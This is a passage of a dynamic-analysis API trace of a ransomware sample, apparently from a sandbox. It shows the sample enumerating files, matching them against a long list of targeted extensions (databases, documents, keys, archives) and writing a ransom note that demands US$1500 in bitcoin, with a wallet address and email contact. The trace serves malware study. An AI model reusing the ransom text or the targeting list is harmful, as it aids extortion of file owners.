lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b0dacf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8b0dacf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8b0dacf0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0120.617] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.617] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b0dacf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8b0dacf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8b0dacf0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.617] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.617] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.617] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b0dacf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8b0dacf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8b100e50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x47800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Runtime.Caching.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0120.617] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.617] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Runtime.Caching.ni.dll") returned -1 [0120.617] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Runtime.Caching.ni.dll") returned -1 [0120.617] lstrcmpiA (lpString1="", lpString2="System.Runtime.Caching.ni.dll") returned -1 [0120.617] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\*.*") returned="*.*" [0120.617] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\" [0120.617] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\") returned="" [0120.617] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\HOW TO DECRYPT FILES.txt" [0120.617] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\how to decrypt files.txt")) returned 0xffffffff [0120.618] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0120.619] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0120.619] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0120.621] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0120.621] CloseHandle (hObject=0x90) returned 1 [0120.624] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\", lpString2="System.Runtime.Caching.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll" [0120.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.ems") returned 0 [0120.624] lstrlenA (lpString="*.ems") returned 5 [0120.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.db") returned 0 [0120.624] lstrlenA (lpString="*.db") returned 4 [0120.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.dbf") returned 0 [0120.624] lstrlenA (lpString="*.dbf") returned 5 [0120.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.myox") returned 0 [0120.624] lstrlenA (lpString="*.myox") returned 6 [0120.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.myo") returned 0 [0120.624] lstrlenA (lpString="*.myo") returned 5 [0120.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.qbw") returned 0 [0120.624] lstrlenA (lpString="*.qbw") returned 5 [0120.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.qbb") returned 0 [0120.624] lstrlenA (lpString="*.qbb") returned 5 [0120.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.qbm") returned 0 [0120.624] lstrlenA (lpString="*.qbm") returned 5 [0120.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.qbo") returned 0 [0120.625] lstrlenA (lpString="*.qbo") returned 5 [0120.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.qbx") returned 0 [0120.625] lstrlenA (lpString="*.qbx") returned 5 [0120.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.qba") returned 0 [0120.625] lstrlenA (lpString="*.qba") returned 5 [0120.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.qby") returned 0 [0120.625] lstrlenA (lpString="*.qby") returned 5 [0120.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.qbj") returned 0 [0120.625] lstrlenA (lpString="*.qbj") returned 5 [0120.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.ofx") returned 0 [0120.625] lstrlenA (lpString="*.ofx") returned 5 [0120.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.qif") returned 0 [0120.625] lstrlenA (lpString="*.qif") returned 5 [0120.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.mye") returned 0 [0120.625] lstrlenA (lpString="*.mye") returned 5 [0120.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.mbox") returned 0 [0120.625] lstrlenA (lpString="*.mbox") returned 6 [0120.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.eml") returned 0 [0120.626] lstrlenA (lpString="*.eml") returned 5 [0120.626] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.pst") returned 0 [0120.626] lstrlenA (lpString="*.pst") returned 5 [0120.626] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.ost") returned 0 [0120.626] lstrlenA (lpString="*.ost") returned 5 [0120.626] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.idx") returned 0 [0120.626] lstrlenA (lpString="*.idx") returned 5 [0120.626] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.dbx") returned 0 [0120.626] lstrlenA (lpString="*.dbx") returned 5 [0120.626] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.sql") returned 0 [0120.626] lstrlenA (lpString="*.sql") returned 5 [0120.626] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.mdb") returned 0 [0120.626] lstrlenA (lpString="*.mdb") returned 5 [0120.626] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.fdb") returned 0 [0120.626] lstrlenA (lpString="*.fdb") returned 5 [0120.626] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.wab") returned 0 [0120.626] lstrlenA (lpString="*.wab") returned 5 [0120.626] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.dat") returned 0 [0120.626] lstrlenA (lpString="*.dat") returned 5 [0120.627] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.txt") returned 0 [0120.627] lstrlenA (lpString="*.txt") returned 5 [0120.627] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.jpeg") returned 0 [0120.627] lstrlenA (lpString="*.jpeg") returned 6 [0120.627] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.jpg") returned 0 [0120.627] lstrlenA (lpString="*.jpg") returned 5 [0120.627] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.png") returned 0 [0120.627] lstrlenA (lpString="*.png") returned 5 [0120.627] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.php") returned 0 [0120.627] lstrlenA (lpString="*.php") returned 5 [0120.627] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.cs") returned 0 [0120.627] lstrlenA (lpString="*.cs") returned 4 [0120.627] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.cpp") returned 0 [0120.627] lstrlenA (lpString="*.cpp") returned 5 [0120.627] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.rar") returned 0 [0120.627] lstrlenA (lpString="*.rar") returned 5 [0120.627] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.zip") returned 0 [0120.627] lstrlenA (lpString="*.zip") returned 5 [0120.628] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.html") returned 0 [0120.628] lstrlenA (lpString="*.html") returned 6 [0120.628] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.htm") returned 0 [0120.628] lstrlenA (lpString="*.htm") returned 5 [0120.628] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.xlsx") returned 0 [0120.628] lstrlenA (lpString="*.xlsx") returned 6 [0120.628] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.xls") returned 0 [0120.628] lstrlenA (lpString="*.xls") returned 5 [0120.628] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.mp4") returned 0 [0120.628] lstrlenA (lpString="*.mp4") returned 5 [0120.628] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.ppt") returned 0 [0120.628] lstrlenA (lpString="*.ppt") returned 5 [0120.628] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.pptx") returned 0 [0120.628] lstrlenA (lpString="*.pptx") returned 6 [0120.628] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.doc") returned 0 [0120.628] lstrlenA (lpString="*.doc") returned 5 [0120.628] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.dot") returned 0 [0120.629] lstrlenA (lpString="*.dot") returned 5 [0120.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.docx") returned 0 [0120.629] lstrlenA (lpString="*.docx") returned 6 [0120.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.7z") returned 0 [0120.629] lstrlenA (lpString="*.7z") returned 4 [0120.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.tar") returned 0 [0120.629] lstrlenA (lpString="*.tar") returned 5 [0120.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.bz2") returned 0 [0120.629] lstrlenA (lpString="*.bz2") returned 5 [0120.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.gz") returned 0 [0120.629] lstrlenA (lpString="*.gz") returned 4 [0120.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.mkv") returned 0 [0120.629] lstrlenA (lpString="*.mkv") returned 5 [0120.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.eml") returned 0 [0120.629] lstrlenA (lpString="*.eml") returned 5 [0120.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.msg") returned 0 [0120.629] lstrlenA (lpString="*.msg") returned 5 [0120.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.edb") returned 0 [0120.630] lstrlenA (lpString="*.edb") returned 5 [0120.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.accdb") returned 0 [0120.630] lstrlenA (lpString="*.accdb") returned 7 [0120.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.odb") returned 0 [0120.630] lstrlenA (lpString="*.odb") returned 5 [0120.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.java") returned 0 [0120.630] lstrlenA (lpString="*.java") returned 6 [0120.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.asm") returned 0 [0120.630] lstrlenA (lpString="*.asm") returned 5 [0120.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.pfx") returned 0 [0120.630] lstrlenA (lpString="*.pfx") returned 5 [0120.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.pem") returned 0 [0120.630] lstrlenA (lpString="*.pem") returned 5 [0120.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.p12") returned 0 [0120.630] lstrlenA (lpString="*.p12") returned 5 [0120.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.gpg") returned 0 [0120.630] lstrlenA (lpString="*.gpg") returned 5 [0120.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.vsd") returned 0 [0120.630] lstrlenA (lpString="*.vsd") returned 5 [0120.631] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.odg") returned 0 [0120.631] lstrlenA (lpString="*.odg") returned 5 [0120.631] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.raw") returned 0 [0120.631] lstrlenA (lpString="*.raw") returned 5 [0120.631] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.nef") returned 0 [0120.631] lstrlenA (lpString="*.nef") returned 5 [0120.631] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll", pszSpec="*.svg") returned 0 [0120.631] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b0dacf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8b0dacf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8b0dacf0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Caching.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0120.631] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.632] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Runtime.Caching.ni.dll.aux") returned -1 [0120.632] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Runtime.Caching.ni.dll.aux") returned -1 [0120.632] lstrcmpiA (lpString1="", lpString2="System.Runtime.Caching.ni.dll.aux") returned -1 [0120.632] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll") returned="System.Runtime.Caching.ni.dll" [0120.632] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\" [0120.632] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\") returned="" [0120.632] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\HOW TO DECRYPT FILES.txt" [0120.632] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\how to decrypt files.txt")) returned 0x20 [0120.632] lstrcatA (in: 